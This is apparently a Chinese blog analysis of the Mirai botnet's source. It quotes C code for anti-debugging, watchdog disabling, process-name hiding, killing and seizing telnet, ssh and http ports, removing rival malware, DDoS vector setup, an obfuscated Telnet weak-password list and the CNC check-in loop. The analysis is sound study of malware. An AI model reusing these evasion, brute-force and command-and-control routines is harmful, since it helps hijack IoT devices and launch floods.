运行初始化 设置gdb反调试:
1 signal(SIGTRAP, &anti_gdb_entry);
SIGTRAP信号是由断点指令或者其他陷阱(trap)指令产生的,因此如果发生该信号说明可能存在调试器。bot在运行的过程中如果触发了该信号量,则调用函数anti_gdb_entry
。
1 2 3 4 static void anti_gdb_entry (int sig) { resolve_func = resolve_cnc_addr; }
resolve_func
是一个函数指针,此处重写为函数resolve_cnc_addr
。个人感觉在anti_gdb_entry
函数中还可以做更多和反调试相关的事。
关闭看门狗,防止设备重启:
1 2 3 4 5 6 7 8 9 10 if ((wfd = open("/dev/watchdog" , 2 )) != -1 || (wfd = open("/dev/misc/watchdog" , 2 )) != -1 ) { int one = 1 ; ioctl(wfd, 0x80045704 , &one); close(wfd); wfd = 0 ; }
获取本地地址:
1 LOCAL_ADDR = util_local_addr();
函数util_local_addr
通过使用getsockname
函数,在未调用bind
函数就调用connect
函数的情形,获取到socket的本地地址。连接的IP也不一定是8.8.8.8,任意一公网IP即可。函数的返回值是一个整数,可以通过该整数转换成IP地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ipv4_t util_local_addr (void ) { int fd; struct sockaddr_in addr ; socklen_t addr_len = sizeof (addr); errno = 0 ; if ((fd = socket(AF_INET, SOCK_DGRAM, 0 )) == -1 ) { #ifdef DEBUG printf ("[util] Failed to call socket(), errno = %d\n" , errno); #endif return 0 ; } addr.sin_family = AF_INET; addr.sin_addr.s_addr = INET_ADDR(8 ,8 ,8 ,8 ); addr.sin_port = htons(53 ); connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)); getsockname(fd, (struct sockaddr *)&addr, &addr_len); close(fd); return addr.sin_addr.s_addr; }
保证唯一的bot在宿主机上运行: bot调用函数ensure_single_instance
来保证在宿主机上只有一个bot程序在运行,具体的实现原理是通过绑定本地端口48101,根据绑定是否成功判断是否有其他程序在使用该端口,如果有则杀死该进程并重新绑定到端口。不知道48101端口是否还有其他的作用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 static void ensure_single_instance (void ) { static BOOL local_bind = TRUE; struct sockaddr_in addr ; int opt = 1 ; if ((fd_ctrl = socket(AF_INET, SOCK_STREAM, 0 )) == -1 ) return ; setsockopt(fd_ctrl, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof (int )); fcntl(fd_ctrl, F_SETFL, O_NONBLOCK | fcntl(fd_ctrl, F_GETFL, 0 )); addr.sin_family = AF_INET; addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127 ,0 ,0 ,1 )) : LOCAL_ADDR; addr.sin_port = htons(SINGLE_INSTANCE_PORT); errno = 0 ; if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1 ) { if (errno == EADDRNOTAVAIL && local_bind) local_bind = FALSE; #ifdef DEBUG printf ("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n" , errno); #endif addr.sin_family = AF_INET; addr.sin_addr.s_addr = INADDR_ANY; addr.sin_port = htons(SINGLE_INSTANCE_PORT); if (connect(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1 ) { #ifdef DEBUG printf ("[main] Failed to connect to fd_ctrl to request process termination\n" ); #endif } sleep(5 ); close(fd_ctrl); killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); ensure_single_instance(); } else { if (listen(fd_ctrl, 1 ) == -1 ) { #ifdef DEBUG printf ("[main] Failed to call listen() on fd_ctrl\n" ); close(fd_ctrl); sleep(5 ); killer_kill_by_port(htons(SINGLE_INSTANCE_PORT)); ensure_single_instance(); #endif } #ifdef DEBUG printf ("[main] We are the only process on this system!\n" ); #endif } }
进程隐藏:bot的进程隐藏是结合修改argv[0]
和使用prctl
两种方式。 隐藏args[0]
: bot使用自定义的随机函数获取到一个随机字符串,然后写入到args[0]
中,这种方式是通过修改/proc/pid/cmdline
,使得ps -ef
、ps -aux
查看不到正确的进程名和参数。
1 2 3 4 5 name_buf_len = ((rand_next() % 4 ) + 3 ) * 4 ; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0 ; util_strcpy(args[0 ], name_buf);
在调试过程中使用ps
查看bot进程,这是没有修改argv[0]
时bot进程名:
1 utest 161447 161324 0 00:20 pts/1 00:00:00 /home/utest/app/Mirai-Source-Code/mirai/debug/mirai.dbg
当执行完毕后,由于原本的进程名太长,修改完毕后还是能查看到一部门进程名。
1 utest 161447 161324 0 00:20 pts/1 00:00:00 ht2jhfsj512jodol8nin -Source-Code/mirai/debug/mirai.dbg
使用prctl
:prctl
修改了/proc/pid/stat
和/proc/pid/status
中的进程名称,使得ps -A
、top
命令无法看到原来的进程名,但是没有修改/proc/pid/cmdline
。二者配合可以达到进程隐藏目的。
1 2 3 4 5 name_buf_len = ((rand_next() % 6 ) + 3 ) * 4 ; rand_alphastr(name_buf, name_buf_len); name_buf[name_buf_len] = 0 ; prctl(PR_SET_NAME, name_buf);
执行前:
1 2 3 4 5 6 7 # utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:23] $ cat /proc/165896/stat 165896 (mirai.dbg) t 161324 165896 121045 34817 161324 1073741824 192 0 0 0 0 0 0 0 20 0 1 0 10699613 1212416 64 18446744073709551615 4198400 4898477 140737488346688 0 0 0 0 0 1088 1 0 0 17 2 0 0 0 0 0 5075104 50 96208 5107712 140737488347330 140737488347386 140737488347386 140737488351168 0 # utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:30] $ cat /proc/165896/status Name: mirai.dbg
执行后:
1 2 3 4 5 6 7 # utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:41] $ cat /proc/165896/stat 165896 (s8glsucvw7j7gu4) t 161324 165896 121045 34817 161324 1073741824 192 0 0 0 0 0 0 0 20 0 1 0 10699613 1212416 64 18446744073709551615 4198400 4898477 140737488346688 0 0 0 0 0 1088 1 0 0 17 2 0 0 0 0 0 5075 104 5096208 5107712 140737488347330 140737488347386 140737488347386 140737488351168 0 # utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/debug on git:comments x [0:39:57] $ cat /proc/165896/status Name: s8glsucvw7j7gu4
attack模块 bot执行attack_init
初始化DDOS相关模块,如下,这其实和登陆到cnc中可以看到的攻击功能是相同的。bot连接到cnc,等待攻击者登陆cnc下发命令,然后bot执行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BOOL attack_init (void ) { int i; add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain); add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp); add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth); add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http); return TRUE; }
cnc中的攻击方式如下:
1 2 3 4 5 6 7 8 9 10 11 12 mirai-user@botnet# ? Available attack list udp: UDP flood ack: ACK flood stomp: TCP stomp flood greip: GRE IP flood http: HTTP flood vse: Valve source engine specific flood dns: DNS resolver flood using the targets domain, input IP is ignored syn: SYN flood greeth: GRE Ethernet flood udpplain: UDP flood with less options. optimized for higher PPS
初始化攻击手段则是通过定义一个结构体,将攻击方式和攻击函数写入,然后再保存到全局的攻击方式methods
中,这样使得bot的攻击扩展性增加。
1 2 3 4 5 6 7 8 9 10 static void add_attack (ATTACK_VECTOR vector , ATTACK_FUNC func) { struct attack_method *method = calloc (1 , sizeof (struct attack_method)); method->vector = vector ; method->func = func; methods = realloc (methods, (methods_len + 1 ) * sizeof (struct attack_method *)); methods[methods_len++] = method; }
killer模块 killer_init
函数主要有两个功能:
杀死22、23、80端口的进程,并占用这些端口。物联网设备常用的管理方式就是通过ssh、telnet或者网络http进行管理,bot通过杀死相应进程并占用使得清除bot增加难度。
检查自身是否有/proc/
目录的权限,扫描其中的进程文件夹并杀死满足特定文件名的进程,或者内存中包含某些关键数据的进程。
以杀死23端口进程并占用代码举例:bot先通过killer_kill_by_port
杀死23端口进程,然后重新bind
绑定并listen
监听23端口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 tmp_bind_addr.sin_family = AF_INET; tmp_bind_addr.sin_addr.s_addr = INADDR_ANY; #ifdef KILLER_REBIND_TELNET #ifdef DEBUG printf ("[killer] Trying to kill port 23\n" ); #endif if (killer_kill_by_port(htons(23 ))) { #ifdef DEBUG printf ("[killer] Killed tcp/23 (telnet)\n" ); #endif } else { #ifdef DEBUG printf ("[killer] Failed to kill port 23\n" ); #endif } tmp_bind_addr.sin_port = htons(23 ); if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0 )) != -1 ) { bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in)); listen(tmp_bind_fd, 1 ); } #ifdef DEBUG printf ("[killer] Bound to tcp/23 (telnet)\n" ); #endif #endif
调用has_exe_access
函数检查是否有目录/proc
权限,主要通过open
打开文件夹来检查
1 2 3 4 5 6 7 if (!has_exe_access()) { #ifdef DEBUG printf ("[killer] Machine does not have /proc/$pid/exe\n" ); #endif return ; }
进入循环,判断/proc/
下的进程目录:
1 2 3 4 5 while ((file = readdir(dir)) != NULL ){ if (*(file->d_name) < '0' || *(file->d_name) > '9' ) continue ;
读取/proc/pid/exe
获取到被扫描进程的路径,如果找到同类恶意程序anime
,则删除对应文件并杀掉进程。
1 2 3 4 5 6 7 8 table_unlock_val(TABLE_KILLER_ANIME); if (util_stristr(realpath, rp_len - 1 , table_retrieve_val(TABLE_KILLER_ANIME, NULL )) != -1 ) { unlink(realpath); kill(pid, 9 ); } table_lock_val(TABLE_KILLER_ANIME);
同样通过/proc/pid/exe
获取到进程对应的可执行文件,对其进行扫描,如果其中包含如下的字符串则杀死对应的进程:
1 2 3 4 5 REPORT %s:%s HTTPFLOOD LOLNOGTFO \x58\x4D\x4E\x4E\x43\x50\x46\x22 zollard
1 2 3 4 5 6 7 if (memory_scan_match(exe_path)) { #ifdef DEBUG printf ("[killer] Memory scan match for binary %s\n" , exe_path); #endif kill(pid, 9 ); }
memory_scan_match
中,则是先通过只读获取到进程的可执行文件的文件描述符fd
,然后调用mem_exists
函数对其进行检查。mem_exists
的机制就是读取到缓冲区,然后判断缓冲区中是否包含制定长度的数据。
1 2 3 4 5 6 7 8 9 10 11 12 while ((ret = read(fd, rdbuf, sizeof (rdbuf))) > 0 ){ if (mem_exists(rdbuf, ret, m_qbot_report, m_qbot_len) || mem_exists(rdbuf, ret, m_qbot_http, m_qbot2_len) || mem_exists(rdbuf, ret, m_qbot_dup, m_qbot3_len) || mem_exists(rdbuf, ret, m_upx_str, m_upx_len) || mem_exists(rdbuf, ret, m_zollard, m_zollard_len)) { found = TRUE; break ; } }
至此,killer模块大致分析完毕。
scanner模块 scanner模块只有当bot不处于debug编译模式,才会执行。该模块的代码大多手动通过网络编程实现了TCP网络通信例如三次握手、Telnet登陆等,就不做太多代码的分析,而是主要说一下代码的执行流程。
初始化socket
初始化IPv4协议头部,初始化TCP协议头部,其中TCP协议头部的端口是随机获取到一个小于1024的端口
硬编码的、已加密的Telnet字典。每一条弱口令都是使用函数add_auth_entry
函数进行添加的。1 2 3 4 5 6 7 8 9 10 11 12 add_auth_entry("\x50\x4D\x4D\x56" , "\x5A\x41\x11\x17\x13\x13" , 10 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x54\x4B\x58\x5A\x54" , 9 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x43\x46\x4F\x4B\x4C" , 8 ); add_auth_entry("\x43\x46\x4F\x4B\x4C" , "\x43\x46\x4F\x4B\x4C" , 7 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x1A\x1A\x1A\x1A\x1A\x1A" , 6 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x5A\x4F\x4A\x46\x4B\x52\x41" , 5 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x46\x47\x44\x43\x57\x4E\x56" , 5 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x48\x57\x43\x4C\x56\x47\x41\x4A" , 5 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x13\x10\x11\x16\x17\x14" , 5 ); add_auth_entry("\x50\x4D\x4D\x56" , "\x17\x16\x11\x10\x13" , 5 ); ......
进入主循环中,开始真正的扫描操作
向目标的2323端口或者22端口发送SYN包,这一步应该是进行资产的探测
读取SYN+ACK包,进而建立TCP连接
如果TCP连接建立成功,则尝试使用弱口令进行登陆
然后应该是建立了一个Telnet登陆的自动机,来根据不同的返回状态来进行弱口令的登陆爆破 在scanner模块中,bot主要是做了手动的TCP连接实现,加载静态编码的弱口令字典,并创建了一个自动机来实现对模板设备的自动化Telnet爆破。在实际的分析过程中,对scanner模块中的弱口令字典的提取应该才是比较重要的,网络通信行为知道大概功能应该就差不多了。
CNC通信 当初始化完毕attack、killer、scanner三个模块后,bot进入死循环,和CNC建立通信,并获取CNC的攻击指令下发。 根据pending_connection
标志,与CNC尝试建立连接。如果连接成功,会向CNC发送\x00\x00\x00\x01
,应该是心跳包,或者上线包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 if (pending_connection) { pending_connection = FALSE; if (!FD_ISSET(fd_serv, &fdsetwr)) { #ifdef DEBUG printf ("[main] Timed out while connecting to CNC\n" ); #endif teardown_connection(); } else { int err = 0 ; socklen_t err_len = sizeof (err); getsockopt(fd_serv, SOL_SOCKET, SO_ERROR, &err, &err_len); if (err != 0 ) { #ifdef DEBUG printf ("[main] Error while connecting to CNC code=%d\n" , err); #endif close(fd_serv); fd_serv = -1 ; sleep((rand_next() % 10 ) + 1 ); } else { uint8_t id_len = util_strlen(id_buf); LOCAL_ADDR = util_local_addr(); send(fd_serv, "\x00\x00\x00\x01" , 4 , MSG_NOSIGNAL); send(fd_serv, &id_len, sizeof (id_len), MSG_NOSIGNAL); if (id_len > 0 ) { send(fd_serv, id_buf, id_len, MSG_NOSIGNAL); } #ifdef DEBUG printf ("[main] Connected to CNC. Local address = %d\n" , LOCAL_ADDR); #endif } }
最后bot会尝试从CNC的连接中读取数据,并使用函数attack_parse
来解析下发的攻击指令。
1 2 3 4 5 6 7 8 9 10 11 recv(fd_serv, &len, sizeof (len), MSG_NOSIGNAL); len = ntohs(len); recv(fd_serv, rdbuf, len, MSG_NOSIGNAL); #ifdef DEBUG printf ("[main] Received %d bytes from CNC\n" , len); #endif if (len > 0 ) attack_parse(rdbuf, len);
在attack_parse
函数中,会解析CNC下发的指令,从中得到DOS持续时间、攻击编号、被攻击目标数量、被攻击目标列表、攻击参数等等。具体的攻击方式也是和TCP编程相关,此处分析暂时忽略。